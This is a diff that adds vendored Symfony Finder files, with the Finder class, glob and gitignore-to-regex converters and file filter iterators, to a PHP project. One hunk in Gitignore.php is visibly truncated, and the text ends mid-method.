private $dirs = []; + private $dates = []; + private $iterators = []; + private $contains = []; + private $notContains = []; + private $paths = []; + private $notPaths = []; + private $ignoreUnreadableDirs = false; + + private static $vcsPatterns = ['.svn', '_svn', 'CVS', '_darcs', '.arch-params', '.monotone', '.bzr', '.git', '.hg']; + + public function __construct() + { + $this->ignore = static::IGNORE_VCS_FILES | static::IGNORE_DOT_FILES; + } + + /** + * Creates a new Finder. + * + * @return static + */ + public static function create() + { + return new static(); + } + + /** + * Restricts the matching to directories only. + * + * @return $this + */ + public function directories() + { + $this->mode = Iterator\FileTypeFilterIterator::ONLY_DIRECTORIES; + + return $this; + } + + /** + * Restricts the matching to files only. + * + * @return $this + */ + public function files() + { + $this->mode = Iterator\FileTypeFilterIterator::ONLY_FILES; + + return $this; + } + + /** + * Adds tests for the directory depth. + * + * Usage: + * + * $finder->depth('> 1') // the Finder will start matching at level 1. + * $finder->depth('< 3') // the Finder will descend at most 3 levels of directories below the starting point. + * $finder->depth(['>= 1', '< 3']) + * + * @param string|int|string[]|int[] $levels The depth level expression or an array of depth levels + * + * @return $this + * + * @see DepthRangeFilterIterator + * @see NumberComparator + */ + public function depth($levels) + { + foreach ((array) $levels as $level) { + $this->depths[] = new Comparator\NumberComparator($level); + } + + return $this; + } + + /** + * Adds tests for file dates (last modified). + * + * The date must be something that strtotime() is able to parse: + * + * $finder->date('since yesterday'); + * $finder->date('until 2 days ago'); + * $finder->date('> now - 2 hours'); + * $finder->date('>= 2005-10-15'); + * $finder->date(['>= 2005-10-15', '<= 2006-05-27']); + * + * @param string|string[] $dates A date range string or an array of date ranges + * + * @return $this + * + * @see strtotime + * @see DateRangeFilterIterator + * @see DateComparator + */ + public function date($dates) + { + foreach ((array) $dates as $date) { + $this->dates[] = new Comparator\DateComparator($date); + } + + return $this; + } + + /** + * Adds rules that files must match. + * + * You can use patterns (delimited with / sign), globs or simple strings. + * + * $finder->name('*.php') + * $finder->name('/\.php$/') // same as above + * $finder->name('test.php') + * $finder->name(['test.py', 'test.php']) + * + * @param string|string[] $patterns A pattern (a regexp, a glob, or a string) or an array of patterns + * + * @return $this + * + * @see FilenameFilterIterator + */ + public function name($patterns) + { + $this->names = array_merge($this->names, (array) $patterns); + + return $this; + } + + /** + * Adds rules that files must not match. + * + * @param string|string[] $patterns A pattern (a regexp, a glob, or a string) or an array of patterns + * + * @return $this + * + * @see FilenameFilterIterator + */ + public function notName($patterns) + { + $this->notNames = array_merge($this->notNames, (array) $patterns); + + return $this; + } + + /** + * Adds tests that file contents must match. + * + * Strings or PCRE patterns can be used: + * + * $finder->contains('Lorem ipsum') + * $finder->contains('/Lorem ipsum/i') + * $finder->contains(['dolor', '/ipsum/i']) + * + * @param string|string[] $patterns A pattern (string or regexp) or an array of patterns + * + * @return $this + * + * @see FilecontentFilterIterator + */ + public function contains($patterns) + { + $this->contains = array_merge($this->contains, (array) $patterns); + + return $this; + } + + /** + * Adds tests that file contents must not match. + * + * Strings or PCRE patterns can be used: + * + * $finder->notContains('Lorem ipsum') + * $finder->notContains('/Lorem ipsum/i') + * $finder->notContains(['lorem', '/dolor/i']) + * + * @param string|string[] $patterns A pattern (string or regexp) or an array of patterns + * + * @return $this + * + * @see FilecontentFilterIterator + */ + public function notContains($patterns) + { + $this->notContains = array_merge($this->notContains, (array) $patterns); + + return $this; + } + + /** + * Adds rules that filenames must match. + * + * You can use patterns (delimited with / sign) or simple strings. + * + * $finder->path('some/special/dir') + * $finder->path('/some\/special\/dir/') // same as above + * $finder->path(['some dir', 'another/dir']) + * + * Use only / as dirname separator. + * + * @param string|string[] $patterns A pattern (a regexp or a string) or an array of patterns + * + * @return $this + * + * @see FilenameFilterIterator + */ + public function path($patterns) + { + $this->paths = array_merge($this->paths, (array) $patterns); + + return $this; + } + + /** + * Adds rules that filenames must not match. + * + * You can use patterns (delimited with / sign) or simple strings. + * + * $finder->notPath('some/special/dir') + * $finder->notPath('/some\/special\/dir/') // same as above + * $finder->notPath(['some/file.txt', 'another/file.log']) + * + * Use only / as dirname separator. + * + * @param string|string[] $patterns A pattern (a regexp or a string) or an array of patterns + * + * @return $this + * + * @see FilenameFilterIterator + */ + public function notPath($patterns) + { + $this->notPaths = array_merge($this->notPaths, (array) $patterns); + + return $this; + } + + /** + * Adds tests for file sizes. + * + * $finder->size('> 10K'); + * $finder->size('<= 1Ki'); + * $finder->size(4); + * $finder->size(['> 10K', '< 20K']) + * + * @param string|int|string[]|int[] $sizes A size range string or an integer or an array of size ranges + * + * @return $this + * + * @see SizeRangeFilterIterator + * @see NumberComparator + */ + public function size($sizes) + { + foreach ((array) $sizes as $size) { + $this->sizes[] = new Comparator\NumberComparator($size); + } + + return $this; + } + + /** + * Excludes directories. + * + * Directories passed as argument must be relative to the ones defined with the `in()` method. For example: + * + * $finder->in(__DIR__)->exclude('ruby'); + * + * @param string|array $dirs A directory path or an array of directories + * + * @return $this + * + * @see ExcludeDirectoryFilterIterator + */ + public function exclude($dirs) + { + $this->exclude = array_merge($this->exclude, (array) $dirs); + + return $this; + } + + /** + * Excludes "hidden" directories and files (starting with a dot). + * + * This option is enabled by default. + * + * @param bool $ignoreDotFiles Whether to exclude "hidden" files or not + * + * @return $this + * + * @see ExcludeDirectoryFilterIterator + */ + public function ignoreDotFiles($ignoreDotFiles) + { + if ($ignoreDotFiles) { + $this->ignore |= static::IGNORE_DOT_FILES; + } else { + $this->ignore &= ~static::IGNORE_DOT_FILES; + } + + return $this; + } + + /** + * Forces the finder to ignore version control directories. + * + * This option is enabled by default. + * + * @param bool $ignoreVCS Whether to exclude VCS files or not + * + * @return $this + * + * @see ExcludeDirectoryFilterIterator + */ + public function ignoreVCS($ignoreVCS) + { + if ($ignoreVCS) { + $this->ignore |= static::IGNORE_VCS_FILES; + } else { + $this->ignore &= ~static::IGNORE_VCS_FILES; + } + + return $this; + } + + /** + * Forces Finder to obey .gitignore and ignore files based on rules listed there. + * + * This option is disabled by default. + * + * @return $this + */ + public function ignoreVCSIgnored(bool $ignoreVCSIgnored) + { + if ($ignoreVCSIgnored) { + $this->ignore |= static::IGNORE_VCS_IGNORED_FILES; + } else { + $this->ignore &= ~static::IGNORE_VCS_IGNORED_FILES; + } + + return $this; + } + + /** + * Adds VCS patterns. + * + * @see ignoreVCS() + * + * @param string|string[] $pattern VCS patterns to ignore + */ + public static function addVCSPattern($pattern) + { + foreach ((array) $pattern as $p) { + self::$vcsPatterns[] = $p; + } + + self::$vcsPatterns = array_unique(self::$vcsPatterns); + } + + /** + * Sorts files and directories by an anonymous function. + * + * The anonymous function receives two \SplFileInfo instances to compare. + * + * This can be slow as all the matching files and directories must be retrieved for comparison. + * + * @return $this + * + * @see SortableIterator + */ + public function sort(\Closure $closure) + { + $this->sort = $closure; + + return $this; + } + + /** + * Sorts files and directories by name. + * + * This can be slow as all the matching files and directories must be retrieved for comparison. + * + * @param bool $useNaturalSort Whether to use natural sort or not, disabled by default + * + * @return $this + * + * @see SortableIterator + */ + public function sortByName(/* bool $useNaturalSort = false */) + { + if (\func_num_args() < 1 && __CLASS__ !== static::class && __CLASS__ !== (new \ReflectionMethod($this, __FUNCTION__))->getDeclaringClass()->getName() && !$this instanceof \PHPUnit\Framework\MockObject\MockObject && !$this instanceof \Prophecy\Prophecy\ProphecySubjectInterface && !$this instanceof \Mockery\MockInterface) { + @trigger_error(sprintf('The "%s()" method will have a new "bool $useNaturalSort = false" argument in version 5.0, not defining it is deprecated since Symfony 4.2.', __METHOD__), \E_USER_DEPRECATED); + } + $useNaturalSort = 0 < \func_num_args() && func_get_arg(0); + + $this->sort = $useNaturalSort ? Iterator\SortableIterator::SORT_BY_NAME_NATURAL : Iterator\SortableIterator::SORT_BY_NAME; + + return $this; + } + + /** + * Sorts files and directories by type (directories before files), then by name. + * + * This can be slow as all the matching files and directories must be retrieved for comparison. + * + * @return $this + * + * @see SortableIterator + */ + public function sortByType() + { + $this->sort = Iterator\SortableIterator::SORT_BY_TYPE; + + return $this; + } + + /** + * Sorts files and directories by the last accessed time. + * + * This is the time that the file was last accessed, read or written to. + * + * This can be slow as all the matching files and directories must be retrieved for comparison. + * + * @return $this + * + * @see SortableIterator + */ + public function sortByAccessedTime() + { + $this->sort = Iterator\SortableIterator::SORT_BY_ACCESSED_TIME; + + return $this; + } + + /** + * Reverses the sorting. + * + * @return $this + */ + public function reverseSorting() + { + $this->reverseSorting = true; + + return $this; + } + + /** + * Sorts files and directories by the last inode changed time. + * + * This is the time that the inode information was last modified (permissions, owner, group or other metadata). + * + * On Windows, since inode is not available, changed time is actually the file creation time. + * + * This can be slow as all the matching files and directories must be retrieved for comparison. + * + * @return $this + * + * @see SortableIterator + */ + public function sortByChangedTime() + { + $this->sort = Iterator\SortableIterator::SORT_BY_CHANGED_TIME; + + return $this; + } + + /** + * Sorts files and directories by the last modified time. + * + * This is the last time the actual contents of the file were last modified. + * + * This can be slow as all the matching files and directories must be retrieved for comparison. + * + * @return $this + * + * @see SortableIterator + */ + public function sortByModifiedTime() + { + $this->sort = Iterator\SortableIterator::SORT_BY_MODIFIED_TIME; + + return $this; + } + + /** + * Filters the iterator with an anonymous function. + * + * The anonymous function receives a \SplFileInfo and must return false + * to remove files. + * + * @return $this + * + * @see CustomFilterIterator + */ + public function filter(\Closure $closure) + { + $this->filters[] = $closure; + + return $this; + } + + /** + * Forces the following of symlinks. + * + * @return $this + */ + public function followLinks() + { + $this->followLinks = true; + + return $this; + } + + /** + * Tells finder to ignore unreadable directories. + * + * By default, scanning unreadable directories content throws an AccessDeniedException. + * + * @param bool $ignore + * + * @return $this + */ + public function ignoreUnreadableDirs($ignore = true) + { + $this->ignoreUnreadableDirs = (bool) $ignore; + + return $this; + } + + /** + * Searches files and directories which match defined rules. + * + * @param string|string[] $dirs A directory path or an array of directories + * + * @return $this + * + * @throws DirectoryNotFoundException if one of the directories does not exist + */ + public function in($dirs) + { + $resolvedDirs = []; + + foreach ((array) $dirs as $dir) { + if (is_dir($dir)) { + $resolvedDirs[] = $this->normalizeDir($dir); + } elseif ($glob = glob($dir, (\defined('GLOB_BRACE') ? \GLOB_BRACE : 0) | \GLOB_ONLYDIR | \GLOB_NOSORT)) { + sort($glob); + $resolvedDirs = array_merge($resolvedDirs, array_map([$this, 'normalizeDir'], $glob)); + } else { + throw new DirectoryNotFoundException(sprintf('The "%s" directory does not exist.', $dir)); + } + } + + $this->dirs = array_merge($this->dirs, $resolvedDirs); + + return $this; + } + + /** + * Returns an Iterator for the current Finder configuration. + * + * This method implements the IteratorAggregate interface. + * + * @return \Iterator|SplFileInfo[] An iterator + * + * @throws \LogicException if the in() method has not been called + */ + public function getIterator() + { + if (0 === \count($this->dirs) && 0 === \count($this->iterators)) { + throw new \LogicException('You must call one of in() or append() methods before iterating over a Finder.'); + } + + if (1 === \count($this->dirs) && 0 === \count($this->iterators)) { + return $this->searchInDirectory($this->dirs[0]); + } + + $iterator = new \AppendIterator(); + foreach ($this->dirs as $dir) { + $iterator->append($this->searchInDirectory($dir)); + } + + foreach ($this->iterators as $it) { + $iterator->append($it); + } + + return $iterator; + } + + /** + * Appends an existing set of files/directories to the finder. + * + * The set can be another Finder, an Iterator, an IteratorAggregate, or even a plain array. + * + * @param iterable $iterator + * + * @return $this + * + * @throws \InvalidArgumentException when the given argument is not iterable + */ + public function append($iterator) + { + if ($iterator instanceof \IteratorAggregate) { + $this->iterators[] = $iterator->getIterator(); + } elseif ($iterator instanceof \Iterator) { + $this->iterators[] = $iterator; + } elseif ($iterator instanceof \Traversable || \is_array($iterator)) { + $it = new \ArrayIterator(); + foreach ($iterator as $file) { + $it->append($file instanceof \SplFileInfo ? $file : new \SplFileInfo($file)); + } + $this->iterators[] = $it; + } else { + throw new \InvalidArgumentException('Finder::append() method wrong argument type.'); + } + + return $this; + } + + /** + * Check if the any results were found. + * + * @return bool + */ + public function hasResults() + { + foreach ($this->getIterator() as $_) { + return true; + } + + return false; + } + + /** + * Counts all the results collected by the iterators. + * + * @return int + */ + public function count() + { + return iterator_count($this->getIterator()); + } + + private function searchInDirectory(string $dir): \Iterator + { + $exclude = $this->exclude; + $notPaths = $this->notPaths; + + if (static::IGNORE_VCS_FILES === (static::IGNORE_VCS_FILES & $this->ignore)) { + $exclude = array_merge($exclude, self::$vcsPatterns); + } + + if (static::IGNORE_DOT_FILES === (static::IGNORE_DOT_FILES & $this->ignore)) { + $notPaths[] = '#(^|/)\..+(/|$)#'; + } + + if (static::IGNORE_VCS_IGNORED_FILES === (static::IGNORE_VCS_IGNORED_FILES & $this->ignore)) { + $gitignoreFilePath = sprintf('%s/.gitignore', $dir); + if (!is_readable($gitignoreFilePath)) { + throw new \RuntimeException(sprintf('The "ignoreVCSIgnored" option cannot be used by the Finder as the "%s" file is not readable.', $gitignoreFilePath)); + } + $notPaths = array_merge($notPaths, [Gitignore::toRegex(file_get_contents($gitignoreFilePath))]); + } + + $minDepth = 0; + $maxDepth = \PHP_INT_MAX; + + foreach ($this->depths as $comparator) { + switch ($comparator->getOperator()) { + case '>': + $minDepth = $comparator->getTarget() + 1; + break; + case '>=': + $minDepth = $comparator->getTarget(); + break; + case '<': + $maxDepth = $comparator->getTarget() - 1; + break; + case '<=': + $maxDepth = $comparator->getTarget(); + break; + default: + $minDepth = $maxDepth = $comparator->getTarget(); + } + } + + $flags = \RecursiveDirectoryIterator::SKIP_DOTS; + + if ($this->followLinks) { + $flags |= \RecursiveDirectoryIterator::FOLLOW_SYMLINKS; + } + + $iterator = new Iterator\RecursiveDirectoryIterator($dir, $flags, $this->ignoreUnreadableDirs); + + if ($exclude) { + $iterator = new Iterator\ExcludeDirectoryFilterIterator($iterator, $exclude); + } + + $iterator = new \RecursiveIteratorIterator($iterator, \RecursiveIteratorIterator::SELF_FIRST); + + if ($minDepth > 0 || $maxDepth < \PHP_INT_MAX) { + $iterator = new Iterator\DepthRangeFilterIterator($iterator, $minDepth, $maxDepth); + } + + if ($this->mode) { + $iterator = new Iterator\FileTypeFilterIterator($iterator, $this->mode); + } + + if ($this->names || $this->notNames) { + $iterator = new Iterator\FilenameFilterIterator($iterator, $this->names, $this->notNames); + } + + if ($this->contains || $this->notContains) { + $iterator = new Iterator\FilecontentFilterIterator($iterator, $this->contains, $this->notContains); + } + + if ($this->sizes) { + $iterator = new Iterator\SizeRangeFilterIterator($iterator, $this->sizes); + } + + if ($this->dates) { + $iterator = new Iterator\DateRangeFilterIterator($iterator, $this->dates); + } + + if ($this->filters) { + $iterator = new Iterator\CustomFilterIterator($iterator, $this->filters); + } + + if ($this->paths || $notPaths) { + $iterator = new Iterator\PathFilterIterator($iterator, $this->paths, $notPaths); + } + + if ($this->sort || $this->reverseSorting) { + $iteratorAggregate = new Iterator\SortableIterator($iterator, $this->sort, $this->reverseSorting); + $iterator = $iteratorAggregate->getIterator(); + } + + return $iterator; + } + + /** + * Normalizes given directory names by removing trailing slashes. + * + * Excluding: (s)ftp:// or ssh2.(s)ftp:// wrapper + */ + private function normalizeDir(string $dir): string + { + if ('/' === $dir) { + return $dir; + } + + $dir = rtrim($dir, '/'.\DIRECTORY_SEPARATOR); + + if (preg_match('#^(ssh2\.)?s?ftp://#', $dir)) { + $dir .= '/'; + } + + return $dir; + } +} diff --git a/vendor/symfony/finder/Gitignore.php b/vendor/symfony/finder/Gitignore.php new file mode 100644 index 0000000..dfe0a0a --- /dev/null +++ b/vendor/symfony/finder/Gitignore.php @@ -0,0 +1,133 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder; + +/** + * Gitignore matches against text. + * + * @author Ahmed Abdou + */ +class Gitignore +{ + /** + * Returns a regexp which is the equivalent of the gitignore pattern. + * + * @return string The regexp + */ + public static function toRegex(string $gitignoreFileContent): string + { + $gitignoreFileContent = preg_replace('/^[^\\\r\n]*#.*/m', '', $gitignoreFileContent); + $gitignoreLines = preg_split('/\r\n|\r|\n/', $gitignoreFileContent); + + $positives = []; + $negatives = []; + foreach ($gitignoreLines as $i => $line) { + $line = trim($line); + if ('' === $line) { + continue; + } + + if (1 === preg_match('/^!/', $line)) { + $positives[$i] = null; + $negatives[$i] = self::getRegexFromGitignore(preg_replace('/^!(.*)/', '${1}', $line), true); + + continue; + } + $negatives[$i] = null; + $positives[$i] = self::getRegexFromGitignore($line); + } + + $index = 0; + $patterns = []; + foreach ($positives as $pattern) { + if (null === $pattern) { + continue; + } + + $negativesAfter = array_filter(\array_slice($negatives, ++$index)); + if ([] !== $negativesAfter) { + $pattern .= sprintf('(?'.$regex.'($|\/.*))'; + } +} diff --git a/vendor/symfony/finder/Glob.php b/vendor/symfony/finder/Glob.php new file mode 100644 index 0000000..ea76d51 --- /dev/null +++ b/vendor/symfony/finder/Glob.php @@ -0,0 +1,116 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder; + +/** + * Glob matches globbing patterns against text. + * + * if match_glob("foo.*", "foo.bar") echo "matched\n"; + * + * // prints foo.bar and foo.baz + * $regex = glob_to_regex("foo.*"); + * for (['foo.bar', 'foo.baz', 'foo', 'bar'] as $t) + * { + * if (/$regex/) echo "matched: $car\n"; + * } + * + * Glob implements glob(3) style matching that can be used to match + * against text, rather than fetching names from a filesystem. + * + * Based on the Perl Text::Glob module. + * + * @author Fabien Potencier PHP port + * @author Richard Clamp Perl version + * @copyright 2004-2005 Fabien Potencier + * @copyright 2002 Richard Clamp + */ +class Glob +{ + /** + * Returns a regexp which is the equivalent of the glob pattern. + * + * @param string $glob The glob pattern + * @param bool $strictLeadingDot + * @param bool $strictWildcardSlash + * @param string $delimiter Optional delimiter + * + * @return string regex The regexp + */ + public static function toRegex($glob, $strictLeadingDot = true, $strictWildcardSlash = true, $delimiter = '#') + { + $firstByte = true; + $escaping = false; + $inCurlies = 0; + $regex = ''; + $sizeGlob = \strlen($glob); + for ($i = 0; $i < $sizeGlob; ++$i) { + $car = $glob[$i]; + if ($firstByte && $strictLeadingDot && '.' !== $car) { + $regex .= '(?=[^\.])'; + } + + $firstByte = '/' === $car; + + if ($firstByte && $strictWildcardSlash && isset($glob[$i + 2]) && '**' === $glob[$i + 1].$glob[$i + 2] && (!isset($glob[$i + 3]) || '/' === $glob[$i + 3])) { + $car = '[^/]++/'; + if (!isset($glob[$i + 3])) { + $car .= '?'; + } + + if ($strictLeadingDot) { + $car = '(?=[^\.])'.$car; + } + + $car = '/(?:'.$car.')*'; + $i += 2 + isset($glob[$i + 3]); + + if ('/' === $delimiter) { + $car = str_replace('/', '\\/', $car); + } + } + + if ($delimiter === $car || '.' === $car || '(' === $car || ')' === $car || '|' === $car || '+' === $car || '^' === $car || '$' === $car) { + $regex .= "\\$car"; + } elseif ('*' === $car) { + $regex .= $escaping ? '\\*' : ($strictWildcardSlash ? '[^/]*' : '.*'); + } elseif ('?' === $car) { + $regex .= $escaping ? '\\?' : ($strictWildcardSlash ? '[^/]' : '.'); + } elseif ('{' === $car) { + $regex .= $escaping ? '\\{' : '('; + if (!$escaping) { + ++$inCurlies; + } + } elseif ('}' === $car && $inCurlies) { + $regex .= $escaping ? '}' : ')'; + if (!$escaping) { + --$inCurlies; + } + } elseif (',' === $car && $inCurlies) { + $regex .= $escaping ? ',' : '|'; + } elseif ('\\' === $car) { + if ($escaping) { + $regex .= '\\\\'; + $escaping = false; + } else { + $escaping = true; + } + + continue; + } else { + $regex .= $car; + } + $escaping = false; + } + + return $delimiter.'^'.$regex.'$'.$delimiter; + } +} diff --git a/vendor/symfony/finder/Iterator/CustomFilterIterator.php b/vendor/symfony/finder/Iterator/CustomFilterIterator.php new file mode 100644 index 0000000..a30bbd0 --- /dev/null +++ b/vendor/symfony/finder/Iterator/CustomFilterIterator.php @@ -0,0 +1,61 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +/** + * CustomFilterIterator filters files by applying anonymous functions. + * + * The anonymous function receives a \SplFileInfo and must return false + * to remove files. + * + * @author Fabien Potencier + */ +class CustomFilterIterator extends \FilterIterator +{ + private $filters = []; + + /** + * @param \Iterator $iterator The Iterator to filter + * @param callable[] $filters An array of PHP callbacks + * + * @throws \InvalidArgumentException + */ + public function __construct(\Iterator $iterator, array $filters) + { + foreach ($filters as $filter) { + if (!\is_callable($filter)) { + throw new \InvalidArgumentException('Invalid PHP callback.'); + } + } + $this->filters = $filters; + + parent::__construct($iterator); + } + + /** + * Filters the iterator values. + * + * @return bool true if the value should be kept, false otherwise + */ + public function accept() + { + $fileinfo = $this->current(); + + foreach ($this->filters as $filter) { + if (false === $filter($fileinfo)) { + return false; + } + } + + return true; + } +} diff --git a/vendor/symfony/finder/Iterator/DateRangeFilterIterator.php b/vendor/symfony/finder/Iterator/DateRangeFilterIterator.php new file mode 100644 index 0000000..2e97e00 --- /dev/null +++ b/vendor/symfony/finder/Iterator/DateRangeFilterIterator.php @@ -0,0 +1,58 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +use Symfony\Component\Finder\Comparator\DateComparator; + +/** + * DateRangeFilterIterator filters out files that are not in the given date range (last modified dates). + * + * @author Fabien Potencier + */ +class DateRangeFilterIterator extends \FilterIterator +{ + private $comparators = []; + + /** + * @param \Iterator $iterator The Iterator to filter + * @param DateComparator[] $comparators An array of DateComparator instances + */ + public function __construct(\Iterator $iterator, array $comparators) + { + $this->comparators = $comparators; + + parent::__construct($iterator); + } + + /** + * Filters the iterator values. + * + * @return bool true if the value should be kept, false otherwise + */ + public function accept() + { + $fileinfo = $this->current(); + + if (!file_exists($fileinfo->getPathname())) { + return false; + } + + $filedate = $fileinfo->getMTime(); + foreach ($this->comparators as $compare) { + if (!$compare->test($filedate)) { + return false; + } + } + + return true; + } +} diff --git a/vendor/symfony/finder/Iterator/DepthRangeFilterIterator.php b/vendor/symfony/finder/Iterator/DepthRangeFilterIterator.php new file mode 100644 index 0000000..18e751d --- /dev/null +++ b/vendor/symfony/finder/Iterator/DepthRangeFilterIterator.php @@ -0,0 +1,45 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +/** + * DepthRangeFilterIterator limits the directory depth. + * + * @author Fabien Potencier + */ +class DepthRangeFilterIterator extends \FilterIterator +{ + private $minDepth = 0; + + /** + * @param \RecursiveIteratorIterator $iterator The Iterator to filter + * @param int $minDepth The min depth + * @param int $maxDepth The max depth + */ + public function __construct(\RecursiveIteratorIterator $iterator, int $minDepth = 0, int $maxDepth = \PHP_INT_MAX) + { + $this->minDepth = $minDepth; + $iterator->setMaxDepth(\PHP_INT_MAX === $maxDepth ? -1 : $maxDepth); + + parent::__construct($iterator); + } + + /** + * Filters the iterator values. + * + * @return bool true if the value should be kept, false otherwise + */ + public function accept() + { + return $this->getInnerIterator()->getDepth() >= $this->minDepth; + } +} diff --git a/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php b/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php new file mode 100644 index 0000000..6a1b291 --- /dev/null +++ b/vendor/symfony/finder/Iterator/ExcludeDirectoryFilterIterator.php @@ -0,0 +1,87 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +/** + * ExcludeDirectoryFilterIterator filters out directories. + * + * @author Fabien Potencier + */ +class ExcludeDirectoryFilterIterator extends \FilterIterator implements \RecursiveIterator +{ + private $iterator; + private $isRecursive; + private $excludedDirs = []; + private $excludedPattern; + + /** + * @param \Iterator $iterator The Iterator to filter + * @param string[] $directories An array of directories to exclude + */ + public function __construct(\Iterator $iterator, array $directories) + { + $this->iterator = $iterator; + $this->isRecursive = $iterator instanceof \RecursiveIterator; + $patterns = []; + foreach ($directories as $directory) { + $directory = rtrim($directory, '/'); + if (!$this->isRecursive || false !== strpos($directory, '/')) { + $patterns[] = preg_quote($directory, '#'); + } else { + $this->excludedDirs[$directory] = true; + } + } + if ($patterns) { + $this->excludedPattern = '#(?:^|/)(?:'.implode('|', $patterns).')(?:/|$)#'; + } + + parent::__construct($iterator); + } + + /** + * Filters the iterator values. + * + * @return bool True if the value should be kept, false otherwise + */ + public function accept() + { + if ($this->isRecursive && isset($this->excludedDirs[$this->getFilename()]) && $this->isDir()) { + return false; + } + + if ($this->excludedPattern) { + $path = $this->isDir() ? $this->current()->getRelativePathname() : $this->current()->getRelativePath(); + $path = str_replace('\\', '/', $path); + + return !preg_match($this->excludedPattern, $path); + } + + return true; + } + + /** + * @return bool + */ + public function hasChildren() + { + return $this->isRecursive && $this->iterator->hasChildren(); + } + + public function getChildren() + { + $children = new self($this->iterator->getChildren(), []); + $children->excludedDirs = $this->excludedDirs; + $children->excludedPattern = $this->excludedPattern; + + return $children; + } +} diff --git a/vendor/symfony/finder/Iterator/FileTypeFilterIterator.php b/vendor/symfony/finder/Iterator/FileTypeFilterIterator.php new file mode 100644 index 0000000..a4c4eec --- /dev/null +++ b/vendor/symfony/finder/Iterator/FileTypeFilterIterator.php @@ -0,0 +1,53 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +/** + * FileTypeFilterIterator only keeps files, directories, or both. + * + * @author Fabien Potencier + */ +class FileTypeFilterIterator extends \FilterIterator +{ + const ONLY_FILES = 1; + const ONLY_DIRECTORIES = 2; + + private $mode; + + /** + * @param \Iterator $iterator The Iterator to filter + * @param int $mode The mode (self::ONLY_FILES or self::ONLY_DIRECTORIES) + */ + public function __construct(\Iterator $iterator, int $mode) + { + $this->mode = $mode; + + parent::__construct($iterator); + } + + /** + * Filters the iterator values. + * + * @return bool true if the value should be kept, false otherwise + */ + public function accept() + { + $fileinfo = $this->current(); + if (self::ONLY_DIRECTORIES === (self::ONLY_DIRECTORIES & $this->mode) && $fileinfo->isFile()) { + return false; + } elseif (self::ONLY_FILES === (self::ONLY_FILES & $this->mode) && $fileinfo->isDir()) { + return false; + } + + return true; + } +} diff --git a/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php b/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php new file mode 100644 index 0000000..81594b8 --- /dev/null +++ b/vendor/symfony/finder/Iterator/FilecontentFilterIterator.php @@ -0,0 +1,58 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +/** + * FilecontentFilterIterator filters files by their contents using patterns (regexps or strings). + * + * @author Fabien Potencier + * @author Włodzimierz Gajda + */ +class FilecontentFilterIterator extends MultiplePcreFilterIterator +{ + /** + * Filters the iterator values. + * + * @return bool true if the value should be kept, false otherwise + */ + public function accept() + { + if (!$this->matchRegexps && !$this->noMatchRegexps) { + return true; + } + + $fileinfo = $this->current(); + + if ($fileinfo->isDir() || !$fileinfo->isReadable()) { + return false; + } + + $content = $fileinfo->getContents(); + if (!$content) { + return false; + } + + return $this->isAccepted($content); + } + + /** + * Converts string to regexp if necessary. + * + * @param string $str Pattern: string or regexp + * + * @return string regexp corresponding to a given string or regexp + */ + protected function toRegex($str) + { + return $this->isRegex($str) ? $str : '/'.preg_quote($str, '/').'/'; + } +} diff --git a/vendor/symfony/finder/Iterator/FilenameFilterIterator.php b/vendor/symfony/finder/Iterator/FilenameFilterIterator.php new file mode 100644 index 0000000..e168cd8 --- /dev/null +++ b/vendor/symfony/finder/Iterator/FilenameFilterIterator.php @@ -0,0 +1,47 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +use Symfony\Component\Finder\Glob; + +/** + * FilenameFilterIterator filters files by patterns (a regexp, a glob, or a string). + * + * @author Fabien Potencier + */ +class FilenameFilterIterator extends MultiplePcreFilterIterator +{ + /** + * Filters the iterator values. + * + * @return bool true if the value should be kept, false otherwise + */ + public function accept() + { + return $this->isAccepted($this->current()->getFilename()); + } + + /** + * Converts glob to regexp. + * + * PCRE patterns are left unchanged. + * Glob strings are transformed with Glob::toRegex(). + * + * @param string $str Pattern: glob or regexp + * + * @return string regexp corresponding to a given glob or regexp + */ + protected function toRegex($str) + { + return $this->isRegex($str) ? $str : Glob::toRegex($str); + } +} diff --git a/vendor/symfony/finder/Iterator/MultiplePcreFilterIterator.php b/vendor/symfony/finder/Iterator/MultiplePcreFilterIterator.php new file mode 100644 index 0000000..18b082e --- /dev/null +++ b/vendor/symfony/finder/Iterator/MultiplePcreFilterIterator.php @@ -0,0 +1,112 @@ + + * + * For the full copyright and license information, please view the LICENSE + * file that was distributed with this source code. + */ + +namespace Symfony\Component\Finder\Iterator; + +/** + * MultiplePcreFilterIterator filters files using patterns (regexps, globs or strings). + * + * @author Fabien Potencier + */ +abstract class MultiplePcreFilterIterator extends \FilterIterator +{ + protected $matchRegexps = []; + protected $noMatchRegexps = []; + + /** + * @param \Iterator $iterator The Iterator to filter + * @param array $matchPatterns An array of patterns that need to match + * @param array $noMatchPatterns An array of patterns that need to not match + */ + public function __construct(\Iterator $iterator, array $matchPatterns, array $noMatchPatterns) + { + foreach ($matchPatterns as $pattern) { + $this->matchRegexps[] = $this->toRegex($pattern); + } + + foreach ($noMatchPatterns as $pattern) { + $this->noMatchRegexps[] = $this->toRegex($pattern); + } + + parent::__construct($iterator); + } + + /** + * Checks whether the string is accepted by the regex filters. + * + * If there is no regexps defined in the class, this method will accept the string. + * Such case can be handled by child classes before calling the method if they want to + * apply a different behavior. + * + * @param string $string The string to be matched against filters + * + * @return bool + */ + protected function isAccepted($string) + { + // should at least not match one rule to exclude + foreach 